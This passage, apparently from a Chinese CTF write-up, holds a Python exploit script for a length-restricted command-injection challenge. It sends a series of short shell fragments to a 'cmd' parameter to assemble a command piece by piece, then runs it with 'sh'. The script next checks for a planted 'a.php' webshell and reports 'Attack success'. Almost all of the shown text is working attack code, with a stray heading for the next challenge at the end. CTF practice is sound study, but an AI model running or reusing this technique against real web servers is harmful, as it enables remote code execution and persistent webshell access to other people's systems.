'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',


'sh z',
'sh a'
]

def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)

def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)

def check():
response = requests.get(url+"a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
run()
check()

if __name__ == '__main__':
main()

web828(php反序列化)